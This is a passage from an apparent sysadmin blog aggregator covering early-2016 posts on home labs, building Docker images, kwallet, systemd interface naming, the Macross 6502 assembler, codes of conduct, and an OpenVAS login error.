The 2016 limit for 401k contributions is $18K. That sounds like a lot, but keep in mind that if you're earning $140K/year, that 18K is only 12.8% of your income. By the time you hit 40, you should be saving 10% or more for retirement. Employer matching contributions can help you get there (and are NOT subject to the contribution limits), but such contributions are few and far between in the startup space, and when they exist at all are not generous.

If you're paying over 30% of income on rent, paying another 10% for retirement is pretty hard.

This is the Federal Government's way of saying:

You will not be retiring in the Bay Area without extensive non-Retirement savings.

Yeah, not dong that.

Nope. I've never lived there. I don't have roots there. Migrating there to chase the labor market is a bad idea for me.

Thanks for reading.

by SysAdmin1138 at February 01, 2016 11:40 PM

The Geekess

Graphics linkspam: A maze of twisty passages

One of the things I’ve been frustrated with lately is an overview document of Intel graphics architecture. There’s the massive Intel graphics Programmer Reference Manuals (which are so big they need to be separate PDFs for each chapter), but if you’re skimming each chapter intro for an overview, you’re likely to get lost. Fortunately, I stumbled across a 22-page Intel graphics architecture overview document that looks much more promising.

Another cool find this week was two sites that document which OpenGL extensions hardware manufacturers implement on Linux. If you’re a game designer looking to improve performance by using the latest wiz-bang extension, it’s important to know if that extension is actually implemented in all the hardware you care about. There’s the Mesa Matrix site that says whether a particular hardware vendor implements an extension, and another site that further breaks it down per-platform.

by sarah at February 01, 2016 11:29 PM

Anton Chuvakin - Security Warrior

Monthly Blog Round-Up – January 2016

Here is my next monthly "Security Warrior" blog round-up of top 5 popular posts/topics this month:
  1. Why No Open Source SIEM, EVER?” contains some of my SIEM thinking from 2009. Is it relevant now? Well, you be the judge.  Succeeding with SIEM requires a lot of work, whether you paid for the software, or not. BTW, this post has an amazing “staying power” that is hard to explain – I suspect it has to do with people wanting “free stuff” and googling for “open source SIEM” …  [262 pageviews]
  2. “New SIEM Whitepaper on Use Cases In-Depth OUT!” (dated 2010) presents a whitepaper on select SIEM use cases described in depth with rules and reports [using now-defunct SIEM product]; also see this SIEM use case in depth and this for a more current list of popular SIEM use cases as well as this new post. Finally, see our new 2015 research on SIEM use cases here! [106 pageviews]
  3. Simple Log Review Checklist Released!” is often at the top of this list – this aging checklist is still a very useful tool for many people. “On Free Log Management Tools” is a companion to the checklist (updated version) [83 pageviews]
  4. My classic PCI DSS Log Review series is always popular! The series of 18 posts cover a comprehensive log review approach (OK for PCI DSS 3.1 as well), useful for building log review processes and procedures , whether regulatory or not. It is also described in more detail in our Log Management book and mentioned in our PCI book (just out in its 4th edition!) [68+ pageviews to the main tag]
  5. “SIEM Resourcing or How Much the Friggin’ Thing Would REALLY Cost Me?” is a quick framework for assessing the SIEM project (well, a program, really) costs at an organization (much more details on this here in this paper). [55 pageviews of total 3420 pageviews to all blog pages]
In addition, I’d like to draw your attention to a few recent posts from my Gartner blog
Current research on EDR:
Past research on SIEM:
Miscellaneous fun posts:

(see all my published Gartner research here)
Also see my past monthly and annual “Top Popular Blog Posts” – 2007, 2008, 2009, 2010, 2011, 2012, 2013, 2014, 2015.
Disclaimer: most content at SecurityWarrior blog was written before I joined Gartner on Aug 1, 2011 and is solely my personal view at the time of writing. For my current security blogging, go here.

Previous post in this endless series:

by Anton Chuvakin ( at February 01, 2016 05:47 PM


Changes to OS X TCP Performance Tuning

While updating the TCP tuning parameters on one of my OS X 10.11 servers, I noticed that my existing OS X TCP Performance Tuning page had gotten out of date. The page was nearly eight years old, so it is no surprise that happened. I updated the page in...

by Scott Hebert at February 01, 2016 02:00 PM

Sean's IT Blog

Home Lab Update

Back in October of 2014, I wrote a post about the (then) current state of my home lab.  My lab has grown a lot since then, and I’ve started building a strategy around my lab to cover technologies that I wanted to learn and the capabilities I would need to accomplish those learning goals.

I’ve also had some rather spectacular failures in the last year.  Some of these failures have been actual lab failures that have impacted the rest of the home network.  Others have been buying failures – equipment that appeared to meet my needs and was extremely cheap but ended up having extra costs that made it unsuitable in the long run.

Home Lab 1.0

I’ve never really had a strategy when it comes to my home lab.  Purchasing new hardware happened when I either outgrew something and needed capacity or to replace broken equipment.  If I could repurpose it, an older device would be “promoted” from running an actual workload to providing storage or some other dedicated service.

But this became unsustainable when I switched over to a consulting role.  There were too many things I needed, or wanted, to learn and try out that would require additional capacity.  My lab also had a mishmash of equipment, and I wanted to standardize on specific models.  This has two benefits – I can easily ensure that I have a standard set of capabilities across all components of the lab and it simplifies both upgrades and management.

The other challenge I wanted to address as I developed a strategy was separating out the “home network” from the lab.  While there would still be some overlap, such as wireless and Internet access,  it was possible to take down my entire network when I had issues in my home lab.  This actually happened on one occassion last August when the vDS in my lab corrupted itself and brought everything down.

The key technologies that I wanted to focus on with my lab are:

  1. End-User Computing:  I already use my lab for the VMware Horizon Suite.  I want to expand my VDI knowledge to include Citrix. I also want to spend time on persona management and application layering technologies like Liquidware Labs, Norskale, and Unidesk.
  2. Automation: I want to extend my skillset to include automation.  Although I have vRO deployed in my lab, I have never touched things like vRealize Automation and Puppet.  I also want to spend more time on PowerShell DSC and integrating it into vRO/vRA.  Another area I want to dive back into is automating Horizon environments – I haven’t really touched this subject since 2013.
  3. Containers: I want to learn more about Docker and the technologies surrounding it including Kubernetes, Swarm, and other technology in this stack.  This is the future of IT.
  4. Nutanix: Nutanix has a community edition that provides their hyperconverged storage technology along with the Acropolis Hypervisor.  I want to have a single-node Nutanix CE cluster up and running so I can dive deeper into their APIs and experiment with their upcoming Citrix integration.  At some point, I will probably expand that cluster to three node and use it for a home “private cloud” that my kids can deploy Minecraft servers into.

There are also a couple of key capabilities that I want in my lab.  These are:

  1. Remote Power Management:  This is the most important factor when it comes to my compute nodes.  I don’t want to have them running 24×7.  But at the same time, I don’t want to have to call up my wife and have her turn things on when I’m traveling.  Servers that I buy need to have some sort of remote management capability that does not require an external IP KVM or Wake-on-LAN.   The compute nodes I use need to have some sort of integrated remote management, preferably one with an API.
  2. Redundancy: I’m trying to avoid single-points of failure whenever possible.  Since much of my equipment is off-lease or used, I want to make sure that a single failure doesn’t take everything down.  I don’t have redundancy on all components – my storage, for instance, is a single Synology device due to budget constraints.  Network and Compute, however, are redundant.  Future lab roadmaps will address storage redundancy through hyperconverged offerings like ScaleIO and Nutanix CE.
  3. Flexibility: My lab needs to be able to shift between a number of different technologies.  I need to be able to jump from EUC to Cloud to containers without having to tear things down and rebuild them.  While my lab is virtualized, I will need to have the capacity to build and maintain these environments in a powered-off state.
  4. Segregation: A failure in the lab should not impact key home network services such as wireless and Internet access.

What’s in Home Lab 1.0

The components of my lab are:


Aside from one exception, I’ve standardized my compute tier on Dell 11th Generation servers.  I went with these particular servers because there are a number of off-lease boxes on eBay, and you can usually find a good deals on servers that come with large amounts of RAM.  RAM prices are also fairly low, and other components like iDRACs are readily available.

I have also standardized on the following components in each server:

  • iDRAC Enterprise for Remote Management
  • Broadcom 5709 Dual-Port Gigabit Ethernet
  • vSphere 6 Update 1 with the Host Client and Synology NFS Plugin installed

I have three vSphere clusters in my lab.  These clusters are:

  • Management Cluster
  • Workload Cluster
  • vGPU Cluster

The Management cluster consists of two PowerEdge R310s.  These servers have a single Xeon X3430 processor and 24GB of RAM.  This cluster is not built yet because I’ve had some trouble locating compatible RAM – the fairly common 2Rx4 DIMMs do not work with this server.  I think I’ve found some 2Rx8 or 4Rx8 DIMMs that should work.  The management cluster uses standard switches, and each host has a standard switch for Storage and a standard switch for all other traffic.

The Workload cluster consists of two PowerEdge R710s.  These servers have a pair of Xeon E5520 processors and 96GB of RAM.   My original plan was to upgrade each host to 72GB of RAM, but I had a bunch of 8GB DIMMs from my failed R310 upgrades, and I didn’t want to pay return shipping or restocking fees.  The Workload cluster is configured with a virtual distributed switch for storage, a vDS for VM traffic, and a standard switch for management and vMotion traffic.

The vGPU cluster is the only cluster that doesn’t follow the hardware standards.  The server is a Dell PowerEdge R730 with 32GB of RAM.  The server is configured with the Dell GPU enablement kit and currently has an NVIDIA GRID K1 card installed.

My Nutanix CE box is a PowerEdge R610 with 32GB of RAM.


The storage tier of my lab consists of a single Synology Diskstation 1515+.  It has four 2 TB WD Red drives in a RAID 10 and a single SSD acting as a read cache.  A single 2TB datastore is presented to my ESXi hosts using NFS.  The Synology also has a couple of CIFS shares for things like user profiles and network file shares.


The network tier consists of a Juniper SRX100 firewall and a pair of Linksys SRW2048 switches.  The switches are not stacked but have similar configurations for redundancy.  Each server and the Synology are connected into both fabrics.

I have multiple VLANs on my network to segregate different types of traffic.  Storage, vMotion, and management traffic are all on their own VLANs.  Other VLANs are dedicated to different types of VM traffic.

That’s the overall high-level view of the current state of my home lab.  One component I haven’t spent much time on so far is my Horizon design.  I will cover that indepth in an upcoming post.

by seanpmassey at February 01, 2016 02:00 PM

January 31, 2016


20 Best Tech Titles Left in My Library Sale

You might remember when I read and reviewed technical books at a torrid pace. Along the way I donated hundreds of books to readers. Some of you who attended northern Virginia security group meetings, or security classes I taught at Black Hat and elsewhere, might remember me lugging boxes of books, and leaving them on tables and counters. I just wanted to get the books into the hands of readers. I recently donated several boxes of books, along with computers, to the local Cyber Patriots team.

During the last few weeks I've been selling much of my technical library online, reaching an audience that far exceeds what I could meet in person. I'm using the proceeds to add to my martial arts library, a long-buried interest that I've revived and which I am documenting at a separate blog, Rejoining the Tao.

Now I'm left with the titles seen above. I looked at them and realized there are some great books here. I decided to list them in this post with links to my original reviews, where available, and with a link to the purchase landing page. In each case I've tried to be the lowest price. However, I've learned over the last few weeks of the relentless competition among book sellers to reduce prices every day. This is an incredible boon for readers!

Some of these books are new and contain no markings. The ones rated "acceptable" or "very good" contain my neat black underlinings, and a side note or two. Some of you have apparently already purchased books from my library because of these highlights.

All of my books are in excellent condition. However, when I started the listing process several weeks ago, I assumed books with markings were only "acceptable." More recently I learned that markings result in a book being no better than "very good." Some sellers abuse these ratings, listing marked books as "Like New"! In my case, you will see books with "acceptable" or "very good" ratings in my list, although, as I said, I keep my books in excellent condition -- aside from markings, where noted.

If you order any of these by midnight ET tonight, I will get them in the mail Wednesday morning before work.

On to the books!

The following I reviewed as 5 star books:

Running IPv6. Review. Buy. The author writes very clearly, in a multi-OS manner.

Computer Networking: Internet Protocols in Action. Review. Buy. This is the book I frequently recommend to newbies to get started with packet analysis. CD-ROM included.

Network Maintenance and Troubleshooting Guide: Field Tested Solutions for Everyday Problems (2nd Ed). Review. Buy. This book is special. I wrote "a whole new dimension to network analysis, particularly at the lowest levels of the OSI model."

Beginning C: From Novice to Professional. Review. Buy. I said "It's like an entire class in book form."

The following I awarded 4 stars:

Inside the Machine: An Illustrated Introduction to Microprocessors and Computer Architecture. Review. Buy. I said that I wish I could have awarded this book 4 1/2 stars. I wrote " The book doesn't teach assembly, but it shows, instruction by instruction, how it maps to machine language (bit by bit)."

Security Patterns: Integrating Security and Systems Engineering. Review. Buy. I wrote " I still think SP deserves four stars for breaking fairly new ground with this approach, and using non-digital examples to emphasize concepts applicable to information security problems."

Professional Assembly Language. Review. Buy. I wrote "I think you'll enjoy reading the book as much as I did."

VPNs Illustrated: Tunnels, VPNs, and IPsec: Tunnels, VPNs, and IPsec. Review. Buy. I wrote "VPNs Illustrated is a great book for those wishing to understand network traffic at the packet level. Author Jon C. Snader was inspired by the earlier TCP/IP Illustrated volumes, and tries to reproduce the Tcpdump-style material found in Stevens' classics."

Crimeware: Understanding New Attacks and Defenses. Review. Buy. I wrote "Crimeware is an impressive examination of malware, on a variety of fronts."

The Best of Freebsd Basics. Review. Buy. I wrote "If you are a beginner to intermediate FreeBSD user, you will find this book invaluable. If you are an advanced user, you may find a helpful tip or two as well."

The Security Development Lifecycle: SDL: A Process for Developing Demonstrably More Secure Software. Review. Buy. I wrote "I cannot recall seeing another technical company share so much of its internal procedures with the public."

The following books do not feature my reviews, but they are 4-5 star reviewed at

Industrial Network Security, Second Edition: Securing Critical Infrastructure Networks for Smart Grid, SCADA, and Other Industrial Control Systems 2nd Edition. Buy. New condition.

Absolute OpenBSD: Unix for the Practical Paranoid, Second Edition. Buy. New condition, except signed by author.

Penetration Testing: A Hands-On Introduction to Hacking. Buy. New condition.

DNSSEC Mastery: Securing the Domain Name System with BIND. Buy. New condition, except signed by author.

Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code. Buy. New condition.

Understanding IPv6 (3rd Edition). Buy. New condition.

Advanced Penetration Testing for Highly-Secured Environments: The Ultimate Security Guide. Buy. New condition.

FreeBSD Mastery: Storage Essentials. Buy. New condition, except signed by author.

Sudo Mastery: User Access Control for Real People. Buy. New condition, except signed by author.


I have two copies one copy of my first book, The Tao of Network Security Monitoring, left in stock. Buy.

I have several copies of my newest book, The Practice of Network Security Monitoring, left, in multiple languages: 

If you would like any of these books signed, please let me know via "seller feedback" after buying, and I will sign them before shipping. 

I'm afraid I'm only shipping within the US. Everything I'm selling, beyond these 20 titles, is listed here:

Richard Bejtlich on Click the "products" tab to see listings.

If you have any questions, please leave a comment here. Enjoy!

Update: 10:51 pm, 26 Jan 2016. I crossed out books that have been sold as of this time and date.

Update: 6:00 am, 27 Jan 2016. I crossed out books that have been sold as of this time and date.

Update: 9:10 pm, 27 Jan 2016. I crossed out books that have been sold as of this time and date.

Update: 5:20 pm, 29 Jan 2016. I crossed out books that have been sold as of this time and date, and added "FreeBSD Mastery: Storage Essentials" and "Sudo Mastery."

by Richard Bejtlich ( at January 31, 2016 05:40 AM

January 30, 2016

Recap of week 04, 2016

Recap of week 04 of 2016, covering open source and sysadmin related news, articles, guides, talks, discussions and fun stuff.

January 30, 2016 12:00 AM

January 29, 2016

Anton Chuvakin - Security Warrior

January 28, 2016

Evaggelos Balaskas

Create a debian docker image with debootstrap

debootstrap is a very powerful tool that most of debian/ubuntu people already know about.

It’s really super easy to create your own basic debian docker image, even if you are not running debian.

I used the below steps to my archlinux box, but i believe are generic and you can also use them, without any effort.

Step One:

Download and prepare debootstrap

# wget -c
# tar xf debootstrap_*.tar.gz
# cd debootstrap

# sed -i -e 's#/usr/share/debootstrap#.#' debootstrap

Step Two:

debootstrap a new sid (unstable) debian:

# mkdir sid

# ./debootstrap --arch amd64 --include=aptitude  sid sid/

Step Three:

Just to be safe, extract debian packages with ar

# cd sid

# for i in `ls -1 var/cache/apt/archives/*deb`; do ar p $i data.tar.xz | tar xJ ; done
# for i in `ls -1 var/cache/apt/archives/*deb`; do ar p $i data.tar.gz | tar xz ; done
# rm -rf var/cache/apt/archives/*deb

Step Four:

Prepare your debian unstable directory.
eg. create the sources.list file

# cat > etc/apt/sources.list << EOF
> deb unstable main contrib non-free
> deb Sid-updates main contrib non-free
> deb Sid/updates main contrib non-free

Step Five:

Dockerized your debian image:

# tar -c . | docker import - debian:sid

# docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             VIRTUAL SIZE
debian              sid                 cdf6f22b76f2        5 seconds ago       291.3 MB

You are now ready to play with your new image:

# docker run -t -i --rm debian:sid bash
I have no name!@f3ee67226a07:/# 

January 28, 2016 10:58 PM

Create an archlinux docker image from archlinux

Some time ago, I wrote this article: How to create an archlinux docker image from the latest bootstrap but I think the below approach is even better.

Step 0

This step is optional.
If you want to reduce the size of the docker image:

# vi /etc/pacman.conf

and add the below lines:

NoExtract = usr/lib/firmware/*
NoExtract = usr/lib/modules/*
NoExtract = usr/share/locale/*
NoExtract = usr/share/man/*

Step 1

Create the latest archlinux on a temporary directory:

# mkdir -pv /tmp/latestarchlinux/var/lib/pacman
# pacman -Syy -r /tmp/latestarchlinux/
# pacman -S base -r /tmp/latestarchlinux/ --noconfirm

Step 2

dockerized the above directory

# cd /tmp/latestarchlinux/
# tar -c . | docker import - archlinux:latest

Step 3

Actually you ‘ve done !
Just play with it already.

# docker run -t -i --rm archlinux:latest bash
[root@de9b7a1d6058 /]#
Tag(s): docker, archlinux

January 28, 2016 07:33 PM

Racker Hacker

Enabling kwallet after accidentally disabling it

black wallet that is a nice metaphor for kwallet

Although I use GNOME 3 as my desktop environment, I prefer KDE’s kwallet service to gnome-keyring for some functions. The user interface is a little easier to use and it’s easier to link up to the keyring module in Python.

Accidentally disabling kwallet

A few errant mouse clicks caused me to accidentally disable the kwalletd service earlier today and I was struggling to get it running again. The daemon is usually started by dbus and I wasn’t entirely sure how to start it properly.

If I start kwalletmanager, I see the kwallet icon in the top bar. However, it’s unresponsive to clicks. Starting kwalletmanager on the command line leads to lots of errors in the console:

kwalletmanager(20406)/kdeui (Wallet): The kwalletd service has been disabled 
kwalletmanager(20406)/kdeui (Wallet): The kwalletd service has been disabled 
kwalletmanager(20406)/kdeui (Wallet): The kwalletd service has been disabled

Manually running kwalletd in the console wasn’t successful either.

Using kcmshell

KDE provides a utility called kcmshell that allows you to start a configuration panel without running the entire KDE environment. If you disable kwallet accidentally like I did, this will bring up the configuration panel and allow you to re-enable it:

kcmshell4 kwalletconfig

You should see kwallet’s configuration panel appear:

KDE wallet control module for kwallet

Click on Enable the KDE wallet subsystem and then click OK. Once the window closes, start kwalletmanager and you should be able to access your secrets in kwallet again.

Photo Credit: Wei via Compfight cc

The post Enabling kwallet after accidentally disabling it appeared first on

by Major Hayden at January 28, 2016 04:27 PM

January 26, 2016


Using Redis for PHP Session Storage

I have written previously regarding using Redis for Magento session storage. You can get the same benefits of using Redis for session storage (reduced disk I/O, automatic key eviction) for any PHP application by making a quick change to a couple of set...

by Scott Hebert at January 26, 2016 02:00 PM

The Geekess

Code of Conduct Warning Signs

I’ve got something on my chest that needs to be expressed. It’s likely to be a bit ranty, because I’ve got some scars around dealing with this issue. I want to talk about Codes of Conduct (CoCs).

No Trespassing!

Over the last five years, I’ve watched the uptick in adoption of CoCs in open source conferences. I’ve watched conferences try to adopt a CoC and fall completely flat on their face because they completely misunderstood the needs of minorities at their conferences. In recent years, I’ve watched open source communities start to adopt CoCs. For some communities, a CoC is an after thought, a by-product of community leadership stepping up in many different ways to increase diversity in open source.

However, a worrysome trend is happening: I see communities starting to adopt Codes of Conduct without thinking through the implications of them. A CoC has become a diversity checkmark.

Why is this? Perhaps it’s because stories of harassment has become wide spread. People look at the abuse that G4mer Goobers have thrown at women developers, especially women of color and trans women, and they say, “I don’t want those types of people in my community.” For them, a Code of Conduct has become a “No Trespassing” sign for external harassers.

In general, that’s fine. It’s good to stand up to harassers and say, “That’s not acceptable.” People hope that adding a Code of Conduct is like showing garlic to a vampire: they’ll hiss and run off into the darkness.

Pot, meet Kettle

However, a lot of people who are gung-ho about banning anonymous online harassers are often reluctant to clean their own house. They make excuses for the long-standing harassers in their community, and they have no idea how they would even enforce a CoC against someone who is an entrenched member of the community. Someone who organizes conferences. Someone who is a prolific reviewer. Someone who is your friend, your colleague, your drinking buddy.

You see, no one wants to admit that they are “that person”. It’s hard to accept that everyone, including your friends, are unconsciously biased. It’s even harder to admit that your friends are slightly racist/homophobic/transphobic/etc. No one wants to recognize the ablist language they use in their every day life, like “lame”, “dumb”, or “retarded”. It’s tough to admit that your conference speakers are mostly cis white men because you have failed to network with minorities. It’s difficult to come to grips with the fact that your leadership is toxic. It’s embarrassing to admit that you may be too privileged and so lacking in understanding of minorities’ lived experiences that you may need to reach outside your network to find people to help you deal with Code of Conduct incidents.

Code of Conduct Enforcement

And you will have incidents. People will report Code of Conduct violations. The important question is, how will you handle those incidents and enforce your CoC? You’ve put a “No Trespassing” sign up, but are you willing to escort people out of your community? Take their commit access away? Ask them to take a break from the mailing list? If you don’t decide up front how you’re going to enforce your Code of Conduct, you’re going to apply it unfairly. You’ll give your buddy a break, make excuses like, “But I know they’ve been working on that,” or, “Oh, yeah, that’s just so-and-so, they don’t mean that!”

You need to decide how you’ll enforce a Code of Conduct, and find diverse leadership to help you evaluate CoC violations. And for the love of $deity, if the minorities and louder allies on your enforcement committee say something is a problem, believe them!

Let’s fork it!

Another worrisome trend I see is that the people working on creating Codes of Conduct are not talking to each other. There is so much experience in the open source community leadership in enforcing Codes of Conduct, but it’s become a bike shed issue. Communities without experience in CoC enforcement are saying, “I’ll cherry-pick this clause from this CoC, and we’ll drop that clause because it doesn’t make sense for our community.”

We don’t write legal agreements without expert help. We don’t write our own open source licenses. We don’t roll our own cryptography without expert advice. We shouldn’t roll our own Code of Conduct.

Why? Because if we roll our own Code of Conduct without expert help, it creates a false sense of security. Minorities who rely on a Code of Conduct to grant them safety in an open source community will get hurt. If leadership is implementing a Code of Conduct as a diversity check mark, it papers over the real problem of a community that is unwilling to put energy into being inclusive.

Diversity Check Mark Complete!

I also see smaller communities scrambling to get something, anything, in place to express that they’re a safe community. So they take a standard Code of Conduct and slap it into place, without modifying it to express their communities’ needs. They don’t think about what behaviors they want to encourage in order to make their community a safe place to learn, create, and grow. They don’t think about how they could attract and retain diverse contributors (hint, I recently talked about some ideas on that front). They don’t think about the steps that they as leaders need to take in order to expand their understanding of minorities’ lived experiences, so that they can create a more inclusive community. They don’t think about the positive behaviors they want to see in their community members.

When I see an unmodified version of a Code of Conduct template in a community, I know the leadership has put up the “No Trespassing” sign to stop external harassers from coming in. But that doesn’t mean the community is inclusive or diverse. It could be a walled garden, with barriers to entry so high that only white men with unlimited amounts of spare time and a network of resources to help them can get inside. It could be a barb-wire fence community with known harassers lurking inside. Or it could be a community that simply found another CoC was good enough for them. I can’t know the difference.

Ask for Expert Advice

My take away here is that implementing a Code of Conduct is a hard, long, process of cultural change that requires buy-in from the leadership in your community. Instead of having an all-out bike-shed thread on implementing a CoC, where people cherry-pick legal language without understanding the implementation details of removing that language, go talk with an expert. Safety First PDX, Ashe Dryden, and Frame Shift Consulting are happy to provide consulting, for a fee. If you don’t have money to pay them (and you should pay women for the emotional labor they do to create welcoming communities!), then you’ll need to spend a bunch of time educating yourself.

Read *everything* that Safety First PDX has to say about Code of Conduct design and enforcement. Read the HOW-TO design a Code of Conduct post on the Ada Initiative website. Watch Audrey Eschright talk about Code of Conduct enforcement. Look at the community code of conduct list on the Geek Feminism wiki. These are all a long reads, but these are known experts in the field who are offering their expertise to keep our open source communities safe.

In Conclusion

Don’t roll your own Code of Conduct without expert advice. You wouldn’t roll your own cryptography. At the same time, don’t make a Code of Conduct into a check mark.

by sarah at January 26, 2016 05:29 AM

January 23, 2016

Recap of week 03, 2016

Recap of week 03 of 2016, covering open source and sysadmin related news, articles, guides, talks, discussions and fun stuff.

January 23, 2016 12:00 AM

January 22, 2016


Macross 6502, an assembler for people who hate assembly language

There are many MOS 6502 cross-assemblers available. Here’s a new one. Or actually a very old one. “Macross”, a very powerful 6502 macro assembler, which was used to create Habitat, Maniac Mansion and Zak McKracken, was developed between 1984 and 1987 at Lucasfilm Ltd. and is now Open Source (MIT license):

Some History

Starting in 1984, a team at Lucasfilm Ltd. was developing one of the first online role-playing games, originally called “Microcosm”, which was released as “Habitat” in 1986 and later renamed to “Club Caribe”. The client ran on a Commodore 64, which conntected to the central server through the Quantum Link network.

The client software was developed on a 68K-based Sun workstation running the SunOS variant of Unix using cross-development tools developed by Chip Morningstar (who was also the Habitat lead): The “Macross” assembler and the “Slinky” linker. They were used on every 6502 (Atari 400/800, Commodore 64, and Apple II) game produced at Lucasfilm Games, from 1984 up until those machines ceased to be relevant to the games market*.

In 2014, The Museum of Art and Digital Entertainment got a hold of

  • the source of the original development tools (Macross/Slinky)
  • the source of the C64 client
  • the source of the server (written in PL/I)
  • lots of documentation and development logs

which originated from an archive created in 1987 in the context of the technology transfer to Fujitsu, which bought all Habitat assets.

Since Macross and Slinky were written for Unix, it was easy to get them compiling with modern compilers (K&R syntax notwithstanding) and running on a modern Unix system. At the time of writing, the code in the official repository has been fixed to compile with clang on OS X. Further fixes and cleanups are very welcome.

Compiling Macross

Enter “make” both in the toplevel directory and in the “slinky” directory, then copy “macross” and “slinky” into your path. There are man files in the “doc” directory that you may want to install as well.

Writing Code

The syntax of Macross source files is very different from modern 6502 cross assembler, and more similar to Commodore’s own “A65″ assembler. Here is a small “Hello World” for the C64:

define strout = 0xab1e

    lda #/text
    ldy #?text
    jmp strout

    byte "HELLO WORLD!", 0

As you can see, hex values have to be specified in C notation (binary is prefixed with “0b”), and the operators to extract the low and high bytes of a 16 bit value are “/” and “?”, respectively.

Compile and link the source file like this:

macross -c -o hello.o hello.m
slinky -e -o hello.bin -n -m hello.sym -l 0xc000 hello.o
dd if=hello.bin bs=1 skip=2 count=2 of=hello.prg
dd if=hello.bin bs=1 skip=6 >> hello.prg

The “dd” lines convert Slinky’s output, which is a “standard a65-style object file” (which has a header of FF FF, followed by the start address, followed by the end address) into a C64 .PRG file that is only prefixed by the start address.

Here is a slightly more complex example:

define bsout = 0xffd2

    ldx #0
    do {
        lda x[text]
        cmp #'A'
        if (geq) {
        jsr bsout
    } while (!zero)

    byte "HELLO WORLD!", 0

Macross supports C-style if/else, while and do/while, as well as do/until, where the condition can be one of:

  • zero/equal
  • carry
  • lt/leq/gt/geq
  • slt/sleq/sgt/sgeq
  • positive/plus/negative/minus
  • overflow

…as well as their negated versions.

Also note that the “absolute, x-indexed” addressing mode has a different syntax than commonly used.


Macross has a very powerfull macro language. Here is an example:

org 0xc000

function makeFirstByte(operand) {
    mif (isImmediateMode(operand)) {
    } melse {

function makeSecondByte(operand) {
    mif (isImmediateMode(operand)) {
    } melse {
        freturn(operand + 1)

macro movew src, dst {
    lda makeFirstByte(src) 
    sta makeFirstByte(dst)
    lda makeSecondByte(src)
    sta makeSecondByte(dst)

macro hook_vector index, new, dst {
    ldx #index * 2
    movew x[0x0300], dst
    movew #new, x[0x0300]

define VECTOR_INDEX_IRQ = 10

    hook_vector VECTOR_INDEX_IRQ, irq, return + 1

    inc 0xd020
    jmp 0xffff

The “hook_vector” line will emit the following assembly code:

    ldx #$14
    lda $0300,x
    sta $C01D
    lda $0301,x
    sta $C01E
    lda #$19
    sta $0300,x
    lda #$C0
    sta $0301,x

(The example is a little contrived, since adding the index could have been done at assembly time, but the example nicely demonstrates that macros can preserve addressing modes.)

The file doc/macros.itr contains many useful macros. they are documented in doc/genmacros.itr.

Full Documentation

The complete documentation of Macross is available in the file doc/writeup_6502.itr in the repository. It is in troff format and can viewed like this:

nroff -ms doc/writeup_6502.itr


Macross is a very different approach to 6502 development, and with the source available, I think it’s a viable project that should be continued.

I will happily accept pull requests for compile fixes (GCC, VS, …), cleanups (C99, converting docs from troff to markdown, …) and features (BIN and PRG output, support for more a modern notation, PETSCII, …).

by Michael Steil at January 22, 2016 10:12 AM

January 20, 2016

Racker Hacker

Tinkering with systemd’s predictable network names

Tinkering Tools

I’ve talked about predictable network names] (and seemingly unpredictable ones) on the blog before, but some readers asked me how they could alter the network naming to fit a particular situation. Oddly enough, my Supermicro 5028D-T4NT has a problem with predictable names and it’s a great example to use here.

The problem

There’s plenty of detail in my post about the Supermicro 5028D-T4NT, but the basic gist is that something within the firmware is causing the all of the network cards in the server to show up as onboard. The server has two 1Gb network interfaces which show up as eno1 and eno2, which makes sense. It also has two 10Gb network interfaces that systemd tries to name eno1 and eno2 as well. That’s obviously not going to work, so they get renamed to eth0 and eth1.

You can see what udev thinks in this output:

P: /devices/pci0000:00/0000:00:02.2/0000:03:00.0/net/eth0
E: DEVPATH=/devices/pci0000:00/0000:00:02.2/0000:03:00.0/net/eth0
E: ID_BUS=pci
E: ID_MODEL_FROM_DATABASE=Ethernet Connection X552/X557-AT 10GBASE-T
E: ID_MODEL_ID=0x15ad
E: ID_NET_LINK_FILE=/usr/lib/systemd/network/
E: ID_NET_NAME_MAC=enx0cc47a7591c8
E: ID_NET_NAME_PATH=enp3s0f0
E: ID_OUI_FROM_DATABASE=Super Micro Computer, Inc.
E: ID_PATH=pci-0000:03:00.0
E: ID_PATH_TAG=pci-0000_03_00_0
E: ID_PCI_CLASS_FROM_DATABASE=Network controller
E: ID_VENDOR_ID=0x8086
E: SYSTEMD_ALIAS=/sys/subsystem/net/devices/eno1
E: TAGS=:systemd:

The ID_NET_NAME_ONBOARD takes precedence, but the eno1 name is already in use at this point since udev has chosen names for the onboard 1Gb network interfaces already. Instead of falling back to ID_NET_NAME_PATH, it falls back to plain old eth0. This is confusing and less than ideal.

After a discussion in a Github issue, it seems that the firmware is to blame. Don’t worry — we still have some tricks we can do with systemd-networkd.


Another handy systemd-networkd feature is a link file. These files allow you to apply some network configurations to various interfaces. You can manage multiple interfaces with a single file with wildcards in the [Match] section.

In my case, I want to find any network interfaces that use the ixgbe driver (my 10Gb network interfaces) and apply a configuration change only to those interfaces. My goal is to get the system to name the interfaces using ID_NET_NAME_PATH, which would cause them to appear as enp3s0f0 and enp3s0f1.

Let’s create a link file to handle our quirky hardware:

# /etc/systemd/network/

This file tells systemd to find any devices using the ixgbe driver and force them to use their PCI device path for the naming. After a reboot, the interfaces look like this:

# networkctl  |grep ether
  2 eno1             ether              degraded    configured
  4 eno2             ether              off         unmanaged 
  9 enp3s0f0         ether              off         unmanaged 
 10 enp3s0f1         ether              off         unmanaged

Awesome! They’re now named based on their PCI path and that should remain true even through future upgrades. There are plenty of other tricks that you can do with link files, including completely custom naming for any interface.


As Sylvain noted in the comments below, systemd-networkd provides a default file that specifies how links should be handled. If you make a link file that sorts after that file, such as, it won’t take effect. Be sure that your link file comes first by starting it off with a number less than 99. This is why my file works in my example above.

Photo Credit: realblades via Compfight cc

The post Tinkering with systemd’s predictable network names appeared first on

by Major Hayden at January 20, 2016 07:46 PM

Openvas v8 on Ubuntu 14.04: Login failed. OMP service is down

Recently I suddently couldn't log into Openvas v8 running on Ubuntu 14.04 anymore. Nothing had changed about the machine (as far as I knew), but I got the following message when trying to log in with any account:

Login failed. OMP service is down

The logs (/var/log/openvas/openvasmd.log) showed the following message:

lib  serv:WARNING:2016-01-19 15h52.12 utc:21760: Failed to shake hands with peer: The signature algorithm is not supported.
lib  serv:WARNING:2016-01-19 15h52.22 utc:21775: Failed to shake hands with peer: A TLS packet with unexpected length was received.
md   main:CRITICAL:2016-01-19 15h52.22 utc:21775: serve_client: failed to attach client session to socket 12
